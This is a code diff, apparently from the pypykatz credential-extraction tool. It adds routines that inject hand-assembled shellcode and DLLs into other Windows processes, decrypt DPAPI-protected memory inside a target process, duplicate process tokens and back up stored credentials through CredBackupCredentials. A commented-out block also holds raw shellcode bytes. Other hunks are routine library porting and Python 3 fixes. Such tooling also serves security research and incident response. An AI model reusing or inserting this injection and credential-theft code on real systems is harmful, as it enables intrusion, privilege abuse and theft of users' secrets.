58 | m.baseaddress = module_info.lpBaseOfDll | |
59 | m.size = module_info.SizeOfImage | |
60 | m.endaddress = m.baseaddress + m.size | |
61 | ||
62 | m.timestamp = timestamp | |
63 | ||
64 | return m | |
65 | ||
66 | def __str__(self): | |
67 | return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp ) | |
68 | ||
69 | class Page: | |
70 | def __init__(self): | |
71 | self.BaseAddress = None | |
72 | self.AllocationBase = None | |
73 | self.AllocationProtect = None | |
74 | self.RegionSize = None | |
75 | self.EndAddress = None | |
76 | ||
77 | self.data = None | |
78 | ||
79 | @staticmethod | |
80 | def parse(page_info): | |
81 | p = Page() | |
82 | p.BaseAddress = page_info.BaseAddress | |
83 | p.AllocationBase = page_info.AllocationBase | |
84 | p.AllocationProtect = page_info.AllocationProtect | |
85 | p.RegionSize = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search | |
86 | p.EndAddress = page_info.BaseAddress + page_info.RegionSize | |
87 | return p | |
88 | ||
89 | def read_data(self, process_handle): | |
90 | self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
91 | ||
92 | def inrange(self, addr): | |
93 | return self.BaseAddress <= addr < self.EndAddress | |
94 | ||
95 | def search(self, pattern, process_handle): | |
96 | if len(pattern) > self.RegionSize: | |
97 | return [] | |
98 | data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
99 | fl = [] | |
100 | offset = 0 | |
101 | while len(data) > len(pattern): | |
102 | marker = data.find(pattern) | |
103 | if marker == -1: | |
104 | return fl | |
105 | fl.append(marker + offset + self.BaseAddress) | |
106 | data = data[marker+1:] | |
107 | ||
108 | ||
109 | class Process: | |
110 | def __init__(self, pid = None, name = None, access = PROCESS_ALL_ACCESS, open = True): | |
111 | self.pid = pid | |
112 | self.name = name | |
113 | self.access = access | |
114 | ||
115 | ||
116 | self.sysinfo = None | |
117 | self.processor_architecture = None | |
118 | ||
119 | ||
120 | self.phandle = None | |
121 | self.modules = [] | |
122 | self.pages = [] | |
123 | ||
124 | if open is True: | |
125 | self.open() | |
126 | ||
127 | def open(self): | |
128 | self.sysinfo = GetSystemInfo() | |
129 | self.processor_architecture = PROCESSOR_ARCHITECTURE(self.sysinfo.id.w.wProcessorArchitecture) | |
130 | if self.phandle is None: | |
131 | if self.pid is None: | |
132 | if self.name is None: | |
133 | raise Exception('Process name or PID or opened handle must be provided') | |
134 | ||
135 | self.pid = pid_for_name(self.name) | |
136 | ||
137 | self.phandle = OpenProcess(self.access, False, self.pid) | |
138 | if self.phandle is None: | |
139 | raise Exception('Failed to open %s(%s) Reason: %s' % (ctypes.WinError(), self.name, self.pid)) | |
140 | ||
141 | def list_modules(self): | |
142 | self.modules = [] | |
143 | module_handles = EnumProcessModules(self.phandle) | |
144 | for module_handle in module_handles: | |
145 | module_file_path = GetModuleFileNameExW(self.phandle, module_handle) | |
146 | logger.log(1, module_file_path) | |
147 | timestamp = 0 | |
148 | if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': | |
149 | timestamp = int(os.stat(module_file_path).st_ctime) | |
150 | self.msv_dll_timestamp = timestamp | |
151 | modinfo = GetModuleInformation(self.phandle, module_handle) | |
152 | self.modules.append(Module.parse(module_file_path, modinfo, timestamp)) | |
153 | return self.modules | |
154 | ||
155 | def list_pages(self): | |
156 | self.pages = [] | |
157 | current_address = self.sysinfo.lpMinimumApplicationAddress | |
158 | while current_address < self.sysinfo.lpMaximumApplicationAddress: | |
159 | page_info = VirtualQueryEx(self.phandle, current_address) | |
160 | self.pages.append(Page.parse(page_info)) | |
161 | ||
162 | current_address += page_info.RegionSize | |
163 | ||
164 | def page_find_for_addr(self, addr): | |
165 | self.list_pages() | |
166 | selected_page = None | |
167 | for page in self.pages: | |
168 | if page.inrange(addr): | |
169 | selected_page = page | |
170 | if selected_page is None: | |
171 | raise Exception('Address not found in pages!') | |
172 | return selected_page | |
173 | ||
174 | def page_change_protect(self, addr, flags = PAGE_EXECUTE_READWRITE): | |
175 | selected_page = self.page_find_for_addr(addr) | |
176 | return VirtualProtectEx(self.phandle, selected_page.BaseAddress, selected_page.RegionSize, flags) | |
177 | ||
178 | def page_alloc(self, size, addr = 0, allocation_type = MEM_COMMIT | MEM_RESERVE, allocation_protect = PAGE_EXECUTE_READWRITE): | |
179 | return VirtualAllocEx(self.phandle, lpAddress = addr, dwSize = size, flAllocationType = allocation_type, flProtect = allocation_protect) | |
180 | ||
181 | def page_free(self, addr, free_type = MEM_RELEASE): | |
182 | selected_page = self.page_find_for_addr(addr) | |
183 | dwsize = 0 if free_type == MEM_RELEASE else selected_page.RegionSize | |
184 | return VirtualFreeEx(self.phandle, selected_page.BaseAddress, dwsize, dwFreeType = free_type) | |
185 | ||
186 | def read(self, pos, amount): | |
187 | return ReadProcessMemory(self.phandle, pos, amount) | |
188 | ||
189 | def write(self, pos, buffer): | |
190 | return WriteProcessMemory(self.phandle, pos, buffer) | |
191 | ||
192 | def create_thread(self, start_addr): | |
193 | return CreateRemoteThread(self.phandle, None, 0, start_addr, None, 0) | |
194 | ||
195 | def find_module_by_name(self, module_name): | |
196 | if len(self.modules) == 0: | |
197 | self.list_modules() | |
198 | for module in self.modules: | |
199 | #print(module.name) | |
200 | if module.name.lower().find(module_name.lower()) != -1: | |
201 | #print('Found remote DLL!') | |
202 | return module | |
203 | ||
204 | def get_remote_function_addr(self, dll_name, function_name, force_load = False): | |
205 | module_handle = LoadLibraryW(dll_name) | |
206 | #print(module_handle) | |
207 | function_addr_total = GetProcAddressW(module_handle, function_name) | |
208 | #print('function_addr %s' % hex(function_addr_total)) | |
209 | ||
210 | modinfo = GetModuleInformation(GetCurrentProcess(), module_handle) | |
211 | module = Module.parse(dll_name, modinfo, None) | |
212 | function_addr_offset = module.baseaddress - function_addr_total | |
213 | ||
214 | #print('function_addr_offset %s' % hex(function_addr_offset)) | |
215 | ||
216 | module = self.find_module_by_name(dll_name) | |
217 | if module is None: | |
218 | if force_load is True: | |
219 | self.load_dll(dll_name) | |
220 | self.list_modules() | |
221 | module = self.find_module_by_name(dll_name) | |
222 | if module is None: | |
223 | return None | |
224 | ||
225 | return module.baseaddress - function_addr_offset | |
226 | ||
227 | @staticmethod | |
228 | def int_to_asm(x, bitsize = 64): | |
229 | return x.to_bytes(bitsize//8, byteorder = 'little', signed = False) | |
230 | ||
231 | def invoke_remote_function(self, enclave, fnc_addr, p1_addr, p2_addr, p3_addr, exitthread_addr): | |
232 | #https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-160 | |
233 | #https://defuse.ca/online-x86-assembler.htm#disassembly | |
234 | ||
235 | ||
236 | ||
237 | #p1_addr = 0 | |
238 | #p2_addr = 0 | |
239 | #p3_addr = 0 | |
240 | #fnc_addr = 0 | |
241 | ||
242 | #first_param | |
243 | p1 = b'\x48\xb9' + Process.int_to_asm(p1_addr) # MOVABS RCX,<ADDR> | |
244 | #second_param | |
245 | p2 = b'\x48\xba' + Process.int_to_asm(p2_addr) # MOVABS RDX,<ADDR> | |
246 | #third_param | |
247 | p3 = b'\x49\xb8' + Process.int_to_asm(p3_addr) # MOVABS R8,<ADDR> | |
248 | #load function address to RAX | |
249 | fnc = b'\x48\xb8' + Process.int_to_asm(fnc_addr) # MOVABS RAX,<ADDR> | |
250 | #CALL function address (in RAX) | |
251 | call_fnc = b'\xff\xd0' # CALL RAX | |
252 | ||
253 | exit_code_set = b'\x48\x89\xC1' # mov rcx, rax | |
254 | thread_exit_fnc = b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR> | |
255 | #CALL function address (in RAX) | |
256 | call_thread_exit_fnc = b'\xff\xd0' # CALL RAX | |
257 | ||
258 | code = p3 + p2 + p1 + fnc + call_fnc + exit_code_set + thread_exit_fnc + call_thread_exit_fnc | |
259 | #print('code: %s' % code.hex()) | |
260 | self.write(enclave, code) | |
261 | #input() | |
262 | ||
263 | thread_handle, thread_id = self.create_thread(enclave) | |
264 | #print(thread_handle) | |
265 | thread_exit = GetExitCodeThread(thread_handle) | |
266 | #print(thread_exit) | |
267 | ||
268 | def load_dll(self, dll_path): | |
269 | if dll_path[-1] != '\x00': | |
270 | dll_path += '\x00' | |
271 | ||
272 | loadlibrary_addr = self.get_remote_function_addr("Kernel32.dll", "LoadLibraryW") | |
273 | exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread") | |
274 | ||
275 | ||
276 | code_cave = self.page_alloc(2048) | |
277 | dllname_page = self.page_alloc(2048) | |
278 | self.write(dllname_page, dll_path.encode('utf-16-le')) | |
279 | ||
280 | code = b'' | |
281 | code += b'\x48\xb9' + Process.int_to_asm(dllname_page) # MOVABS RCX,<ADDR> | |
282 | code += b'\x48\xb8' + Process.int_to_asm(loadlibrary_addr) # MOVABS RAX,<ADDR> | |
283 | code += b'\xff\xd0' # CALL RAX | |
284 | code += b'' | |
285 | code += b'\x48\x89\xC1' # mov rcx, rax | |
286 | code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR> | |
287 | code += b'\xff\xd0' # CALL RAX | |
288 | ||
289 | self.write(code_cave, code) | |
290 | thread_handle, thread_id = self.create_thread(code_cave) | |
291 | WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish... | |
292 | ||
293 | self.page_free(code_cave) | |
294 | ||
295 | ||
296 | def dpapi_memory_unprotect(self, protected_blob_addr, protected_blob_size, flags = 0): | |
297 | protected_blob_size = 16 * math.ceil(protected_blob_size/16) | |
298 | return self.dpapi_memory_unprotect_x64(protected_blob_addr, protected_blob_size, flags) | |
299 | ||
300 | def dpapi_memory_unprotect_x64(self, protected_blob_addr, protected_blob_size, flags = 0): | |
301 | # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectmemory | |
302 | #CRYPTPROTECTMEMORY_SAME_PROCESS 0 | |
303 | #CRYPTPROTECTMEMORY_CROSS_PROCESS 1 | |
304 | #CRYPTPROTECTMEMORY_SAME_LOGON 2 | |
305 | ||
306 | ||
307 | #finding remote function addresses | |
308 | protectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptProtectMemory", True) | |
309 | unprotectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory", True) | |
310 | exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread") | |
311 | copymemory_addr = self.get_remote_function_addr("NtDll.dll", "RtlCopyMemory") | |
312 | #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr)) | |
313 | #print('exitthread_addr %s' % hex(exitthread_addr)) | |
314 | #print('copymemory_addr %s' % hex(copymemory_addr)) | |
315 | ||
316 | ||
317 | # allocating memory in remote process | |
318 | code_cave = self.page_alloc(1024) | |
319 | result_cave = self.page_alloc(protected_blob_size*10) | |
320 | #print('code_cave : %s' % hex(code_cave)) | |
321 | #print('result_cave : %s' % hex(result_cave)) | |
322 | ||
323 | ||
324 | #building code | |
325 | code = b'' | |
326 | code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR> | |
327 | code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR> | |
328 | code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR> | |
329 | code += b'\x48\xb8' + Process.int_to_asm(unprotectmemory_addr) # MOVABS RAX,<ADDR> | |
330 | code += b'\xff\xd0' # CALL RAX | |
331 | code += b'' | |
332 | code += b'\x48\xb9' + Process.int_to_asm(result_cave) # MOVABS RCX,<ADDR> | |
333 | code += b'\x48\xba' + Process.int_to_asm(protected_blob_addr) # MOVABS RDX,<ADDR> | |
334 | code += b'\x49\xb8' + Process.int_to_asm(protected_blob_size) # MOVABS R8,<ADDR> | |
335 | code += b'\x48\xb8' + Process.int_to_asm(copymemory_addr) # MOVABS RAX,<ADDR> | |
336 | code += b'\xff\xd0' # CALL RAX | |
337 | code += b'' | |
338 | code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR> | |
339 | code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR> | |
340 | code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR> | |
341 | code += b'\x48\xb8' + Process.int_to_asm(protectmemory_addr) # MOVABS RAX,<ADDR> | |
342 | code += b'\xff\xd0' # CALL RAX | |
343 | code += b'' | |
344 | code += b'\x48\x89\xC1' # mov rcx, rax | |
345 | code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR> | |
346 | code += b'\xff\xd0' # CALL RAX | |
347 | ||
348 | ||
349 | #print('code: %s' % code.hex()) | |
350 | self.write(code_cave, code) | |
351 | ||
352 | thread_handle, thread_id = self.create_thread(code_cave) | |
353 | WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish... | |
354 | thread_exit_code = GetExitCodeThread(thread_handle) | |
355 | #print(thread_exit_code) | |
356 | ||
357 | result = self.read(result_cave, protected_blob_size) | |
358 | ||
359 | self.page_free(code_cave) | |
360 | self.page_free(result_cave) | |
361 | return result | |
362 | ||
363 | def get_process_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS): | |
364 | return OpenProcessToken(self.phandle, dwDesiredAccess) | |
365 | ||
366 | def duplicate_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = 2): | |
367 | #proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) | |
368 | token_handle = OpenProcessToken(self.phandle, TOKEN_DUPLICATE) | |
369 | cloned_token = DuplicateTokenEx( | |
370 | token_handle, | |
371 | dwDesiredAccess = dwDesiredAccess, | |
372 | ImpersonationLevel = ImpersonationLevel, | |
373 | TokenType = TokenType | |
374 | ) | |
375 | CloseHandle(token_handle) | |
376 | return cloned_token | |
377 | if __name__ == '__main__': | |
378 | calc = Process(pid=16236) | |
379 | calc.list_pages() | |
380 | calc.list_modules() | |
381 | print(1) | |
382 | """ | |
383 | ||
384 | ||
385 | data = calc.read(140705499119616, 0x100) | |
386 | print(data) | |
387 | new_addr = calc.page_alloc(0x1000) | |
388 | print(new_addr) | |
389 | data = calc.read(new_addr, 0x100) | |
390 | print(data) | |
391 | data = calc.write(new_addr, b'HELLO WORLD!') | |
392 | print(data) | |
393 | data = calc.read(new_addr, 0x100) | |
394 | print(data) | |
395 | x = calc.page_change_protect(new_addr, flags = PAGE_EXECUTE_READ) | |
396 | print(x) | |
397 | try: | |
398 | data = calc.write(new_addr, b'A'*20) | |
399 | print(data) | |
400 | except: | |
401 | print('Error but it is expected') | |
402 | calc.page_change_protect(new_addr) | |
403 | data = calc.write(new_addr, b'A'*20) | |
404 | print(data) | |
405 | data = calc.read(new_addr, 0x100) | |
406 | print(data) | |
407 | ||
408 | calc.page_free(new_addr) | |
409 | ################################################################################### | |
410 | msgbox = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +\ | |
411 | b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + \ | |
412 | b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + \ | |
413 | b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +\ | |
414 | b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+\ | |
415 | b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+\ | |
416 | b"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+\ | |
417 | b"\x49\x0b\x31\xc0\x51\x50\xff\xd7" | |
418 | ||
419 | new_addr = calc.page_alloc(0x1000) | |
420 | print(hex(new_addr)) | |
421 | data = calc.write(new_addr, msgbox) | |
422 | print(data) | |
423 | ||
424 | data = calc.read(new_addr, 0x100) | |
425 | print(data) | |
426 | ||
427 | calc.create_thread(new_addr) | |
428 | ||
429 | ||
430 | #calc.page_free(new_addr) | |
431 | """ | |
432 | #unprotectmemory_addr = calc.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory") | |
433 | #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr)) | |
434 | #exitthread_addr = calc.get_remote_function_addr("Kernel32.dll", "ExitThread") | |
435 | #print('exitthread_addr %s' % hex(exitthread_addr)) | |
436 | #copymemory_addr = calc.get_remote_function_addr("Kernel32.dll", "CopyMemory") | |
437 | #print('copymemory_addr %s' % hex(exitthread_addr)) | |
438 | #cave = calc.page_alloc(0x1000) | |
439 | #print('enclave : %s' % hex(cave)) | |
440 | #input() | |
441 | #calc.invoke_remote_function(cave, unprotectmemory_addr, 0x0000019DE0535440, 64, 0, exitthread_addr) | |
442 | calc.dpapi_memory_unprotect(0x0000027E24B918B0, 64, same_process = 0) | |
443 |
0 | import logging | |
1 | 0 | from typing import List |
2 | 1 | |
3 | from volatility.framework import interfaces, constants, exceptions, symbols | |
4 | from volatility.framework import renderers | |
5 | from volatility.framework.configuration import requirements | |
6 | from volatility.framework.objects import utility | |
7 | from volatility.framework.symbols import intermed | |
8 | from volatility.framework.symbols.windows import extensions | |
9 | from volatility.framework.layers.scanners import MultiStringScanner | |
10 | from volatility.plugins.windows import pslist, vadinfo⏎ | |
2 | from volatility3.framework import interfaces, constants, exceptions, symbols | |
3 | from volatility3.framework import renderers | |
4 | from volatility3.framework.configuration import requirements | |
5 | from volatility3.framework.objects import utility | |
6 | from volatility3.framework.symbols import intermed | |
7 | from volatility3.framework.symbols.windows import extensions | |
8 | from volatility3.framework.layers.scanners import MultiStringScanner | |
9 | from volatility3.plugins.windows import pslist, vadinfo |
9 | 9 | # they probably have more important things to deal with :) |
10 | 10 | # |
11 | 11 | |
12 | import logging | |
13 | ||
14 | from pypykatz.pypykatz import pypykatz | |
15 | 12 | from pypykatz.commons.common import * |
16 | 13 | |
17 | 14 | from . import * |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import io | |
7 | 6 | import enum |
8 | import logging | |
9 | 7 | from minidump.win_datatypes import DWORD, LONG, LONGLONG, \ |
10 | 8 | POINTER, UINT8, ULONG, PWSTR, USHORT, PCHAR, SHORT, \ |
11 | 9 | BYTE, PVOID, WORD, DWORD64 |
5 | 5 | |
6 | 6 | PROCESS_QUERY_INFORMATION = 0x0400 |
7 | 7 | PROCESS_VM_READ = 0x0010 |
8 | PROCESS_VM_WRITE = 0x0020 | |
9 | PROCESS_VM_OPERATION = 0x0008 | |
10 | PROCESS_CREATE_THREAD = 0x0002 | |
8 | 11 | |
9 | 12 | # Standard access rights |
10 | 13 | DELETE = 0x00010000 |
0 | 0 | |
1 | 1 | import ctypes |
2 | 2 | from pypykatz.commons.winapi.constants import * |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY | |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, \ | |
4 | GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, \ | |
5 | SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY, OpenSCManagerW, SC_MANAGER_ALL_ACCESS, \ | |
6 | SERVICE_DRIVER, SERVICE_WIN32, SERVICE_STATE_ALL, EnumServicesStatusW, EnumServicesStatusExW, SC_ENUM_PROCESS_INFO | |
4 | 7 | from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW |
5 | 8 | |
6 | 9 | |
76 | 79 | @staticmethod |
77 | 80 | def RevertToSelf(): |
78 | 81 | return RevertToSelf() |
79 | ⏎ | |
82 | ||
83 | @staticmethod | |
84 | def OpenSCManager(dwDesiredAccess = SC_MANAGER_ALL_ACCESS): | |
85 | return OpenSCManagerW(dwDesiredAccess = dwDesiredAccess) | |
86 | ||
87 | @staticmethod | |
88 | def EnumServicesStatus(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): | |
89 | return EnumServicesStatusW(hSCManager, dwServiceType = dwServiceType, dwServiceState = dwServiceState) | |
90 | ||
91 | @staticmethod | |
92 | def EnumServicesStatusEx(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): | |
93 | return EnumServicesStatusExW(hSCManager, InfoLevel = InfoLevel, dwServiceType = dwServiceType, dwServiceState = dwServiceState, pszGroupName = pszGroupName)⏎ |
2821 | 2821 | _OpenSCManagerW.restype = SC_HANDLE |
2822 | 2822 | _OpenSCManagerW.errcheck = RaiseIfZero |
2823 | 2823 | |
2824 | hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess) | |
2825 | return ServiceControlManagerHANDLE(hSCObject) | |
2824 | hSCObject = _OpenSCManagerW(lpMachineName, lpDatabaseName, dwDesiredAccess) | |
2825 | return hSCObject | |
2826 | 2826 | |
2827 | 2827 | OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW) |
2828 | 2828 | |
3199 | 3199 | while GetLastError() == ERROR_MORE_DATA: |
3200 | 3200 | if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW): |
3201 | 3201 | break |
3202 | ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) | |
3202 | ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value) | |
3203 | 3203 | success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) |
3204 | 3204 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value): |
3205 | 3205 | raise ctypes.WinError() |
3206 | 3206 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW) |
3207 | 3207 | for index in range(0, ServicesReturned.value): |
3208 | Services.append( ServiceStatusEntry(lpServicesArray[index]) ) | |
3208 | Services.append( lpServicesArray[index]) | |
3209 | 3209 | if success: break |
3210 | 3210 | if not success: |
3211 | 3211 | raise ctypes.WinError() |
3251 | 3251 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value): |
3252 | 3252 | raise ctypes.WinError() |
3253 | 3253 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA) |
3254 | for index in xrange(0, ServicesReturned.value): | |
3254 | for index in range(0, ServicesReturned.value): | |
3255 | 3255 | Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) ) |
3256 | 3256 | if success: break |
3257 | 3257 | if not success: |
3278 | 3278 | while GetLastError() == ERROR_MORE_DATA: |
3279 | 3279 | if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW): |
3280 | 3280 | break |
3281 | ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) | |
3281 | ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value) | |
3282 | 3282 | success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) |
3283 | 3283 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value): |
3284 | 3284 | raise ctypes.WinError() |
3285 | 3285 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW) |
3286 | for index in xrange(0, ServicesReturned.value): | |
3287 | Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) ) | |
3286 | for index in range(0, ServicesReturned.value): | |
3287 | Services.append( lpServicesArray[index]) | |
3288 | 3288 | if success: break |
3289 | 3289 | if not success: |
3290 | 3290 | raise ctypes.WinError() |
3326 | 3326 | |
3327 | 3327 | _RevertToSelf() |
3328 | 3328 | |
3329 | def CredBackupCredentials(token, path, password = None, flags = 0): | |
3330 | _CredBackupCredentials = windll.advapi32.CredBackupCredentials | |
3331 | _CredBackupCredentials.argtypes = [HANDLE, LPWSTR, PVOID, DWORD, DWORD] | |
3332 | _CredBackupCredentials.restype = bool | |
3333 | ||
3334 | ppath = ctypes.create_unicode_buffer(path) | |
3335 | ||
3336 | ppassword = None | |
3337 | ppasswordlen = DWORD(0) | |
3338 | if password is not None: | |
3339 | ppassword = ctypes.create_string_buffer(password.encode('utf-16-le')) | |
3340 | ppasswordlen = DWORD(len(password.encode('utf-16-le'))) | |
3341 | ||
3342 | success = _CredBackupCredentials(token, ppath, ppassword, ppasswordlen, flags) | |
3343 | ||
3344 | if not success: | |
3345 | raise ctypes.WinError() | |
3346 | ||
3347 | return success | |
3348 | ||
3349 | ||
3329 | 3350 | #============================================================================== |
3330 | 3351 | # This calculates the list of exported symbols. |
3331 | 3352 | _all = set(vars().keys()).difference(_all) |
3332 | 3353 | __all__ = [_x for _x in _all if not _x.startswith('_')] |
3333 | 3354 | __all__.sort() |
3334 | #==============================================================================⏎ | |
3355 | #============================================================================== |
618 | 618 | ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), |
619 | 619 | ] |
620 | 620 | LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW) |
621 | ||
622 | ||
623 | ||
624 | # BOOL WINAPI VirtualProtectEx( | |
625 | # __in HANDLE hProcess, | |
626 | # __in LPVOID lpAddress, | |
627 | # __in SIZE_T dwSize, | |
628 | # __in DWORD flNewProtect, | |
629 | # __out PDWORD lpflOldProtect | |
630 | # ); | |
631 | def VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect = PAGE_EXECUTE_READWRITE): | |
632 | _VirtualProtectEx = windll.kernel32.VirtualProtectEx | |
633 | _VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, PDWORD] | |
634 | _VirtualProtectEx.restype = bool | |
635 | _VirtualProtectEx.errcheck = RaiseIfZero | |
636 | ||
637 | flOldProtect = DWORD(0) | |
638 | _VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, byref(flOldProtect)) | |
639 | return flOldProtect.value | |
640 | ||
641 | # BOOL WINAPI VirtualFreeEx( | |
642 | # __in HANDLE hProcess, | |
643 | # __in LPVOID lpAddress, | |
644 | # __in SIZE_T dwSize, | |
645 | # __in DWORD dwFreeType | |
646 | # ); | |
647 | def VirtualFreeEx(hProcess, lpAddress, dwSize = 0, dwFreeType = MEM_RELEASE): | |
648 | _VirtualFreeEx = windll.kernel32.VirtualFreeEx | |
649 | _VirtualFreeEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD] | |
650 | _VirtualFreeEx.restype = bool | |
651 | _VirtualFreeEx.errcheck = RaiseIfZero | |
652 | _VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType) | |
653 | ||
654 | # LPVOID WINAPI VirtualAllocEx( | |
655 | # __in HANDLE hProcess, | |
656 | # __in_opt LPVOID lpAddress, | |
657 | # __in SIZE_T dwSize, | |
658 | # __in DWORD flAllocationType, | |
659 | # __in DWORD flProtect | |
660 | # ); | |
661 | def VirtualAllocEx(hProcess, lpAddress = 0, dwSize = 0x1000, flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE): | |
662 | _VirtualAllocEx = windll.kernel32.VirtualAllocEx | |
663 | _VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD] | |
664 | _VirtualAllocEx.restype = LPVOID | |
665 | ||
666 | lpAddress = _VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect) | |
667 | if lpAddress == NULL: | |
668 | raise ctypes.WinError() | |
669 | return lpAddress | |
670 | ||
671 | ||
672 | # HANDLE WINAPI CreateRemoteThread( | |
673 | # __in HANDLE hProcess, | |
674 | # __in LPSECURITY_ATTRIBUTES lpThreadAttributes, | |
675 | # __in SIZE_T dwStackSize, | |
676 | # __in LPTHREAD_START_ROUTINE lpStartAddress, | |
677 | # __in LPVOID lpParameter, | |
678 | # __in DWORD dwCreationFlags, | |
679 | # __out LPDWORD lpThreadId | |
680 | # ); | |
681 | def CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags): | |
682 | _CreateRemoteThread = windll.kernel32.CreateRemoteThread | |
683 | _CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPVOID, LPVOID, DWORD, LPDWORD] | |
684 | _CreateRemoteThread.restype = HANDLE | |
685 | ||
686 | if not lpThreadAttributes: | |
687 | lpThreadAttributes = None | |
688 | else: | |
689 | lpThreadAttributes = byref(lpThreadAttributes) | |
690 | dwThreadId = DWORD(0) | |
